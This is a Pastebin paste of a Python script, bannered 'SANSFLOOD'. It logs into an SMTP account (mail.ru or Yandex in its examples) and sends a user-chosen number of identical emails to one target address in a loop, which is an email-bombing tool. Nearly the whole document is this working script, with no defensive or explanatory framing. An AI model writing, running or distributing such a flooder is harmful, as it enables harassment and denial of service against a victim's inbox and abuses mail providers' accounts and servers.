Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #pip install termcolor
- import smtplib as root
- from email.mime.text import MIMEText
- from email.mime.multipart import MIMEMultipart
- from termcolor import colored
- from datetime import datetime
- print(colored('''
- __________________________________________________________________________________
- ░██████╗░█████╗░███╗░░██╗░██████╗███████╗██╗░░░░░░█████╗░░█████╗░██████╗░
- ██╔════╝██╔══██╗████╗░██║██╔════╝██╔════╝██║░░░░░██╔══██╗██╔══██╗██╔══██╗
- ╚█████╗░███████║██╔██╗██║╚█████╗░█████╗░░██║░░░░░██║░░██║██║░░██║██║░░██║
- ░╚═══██╗██╔══██║██║╚████║░╚═══██╗██╔══╝░░██║░░░░░██║░░██║██║░░██║██║░░██║
- ██████╔╝██║░░██║██║░╚███║██████╔╝██║░░░░░███████╗╚█████╔╝╚█████╔╝██████╔╝
- ╚═════╝░╚═╝░░╚═╝╚═╝░░╚══╝╚═════╝░╚═╝░░░░░╚══════╝░╚════╝░░╚════╝░╚═════╝░
- __________________________________________________________________________________
- ''', 'red'))
- def flood_mail():
- print(colored('=================================================================','red'))
- login = input(colored( ' Enter_login:>>>','red' ))
- print(colored('=================================================================','red'))
- password = input(colored( ' Enter_password:>>>','red' ))
- print(colored('=================================================================','red'))
- print(colored('''
- ==============================================
- example-" smtp.mail.ru " for email and yandex
- example-" smtp.yandex.ru "
- ==============================================
- ''','yellow'))
- print(colored('=================================================================','red'))
- url = input(colored( ' URL-SMTP-MAIL:>>>','red' ))
- print(colored('=================================================================','red'))
- toadder = input(colored( ' to_whom?:>>>','red' ))
- print(colored('=================================================================','red'))
- topic = input(colored( ' theme:>>>','red' ))
- print(colored('=================================================================','red'))
- messege = input(colored( ' Enter_message:>>>', 'red' ))
- print(colored('=================================================================','red'))
- #=================================
- num = input(colored(' how many posts:>>>','red'))
- print(colored('=================================================================\n','red'))
- for value in range( int(num) ):
- msg = MIMEMultipart()
- msg['Subject'] = topic
- msg['from'] = login
- body = messege
- msg.attach( MIMEText(body, 'plain') )
- server = root.SMTP_SSL( url, 465 )
- server.login( login,password )
- server.sendmail( login, toadder, msg.as_string() )
- #=============
- value += 1
- print(colored("==========================",'green'))
- print(colored('☢☢☢_messages_sent:>>>','green') + str( value ))
- print(colored("==========================",'green'))
- def main():
- flood_mail()
- if __name__ == '__main__':
- main()
- print(colored('__________________________________________________________________ \n','red'))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement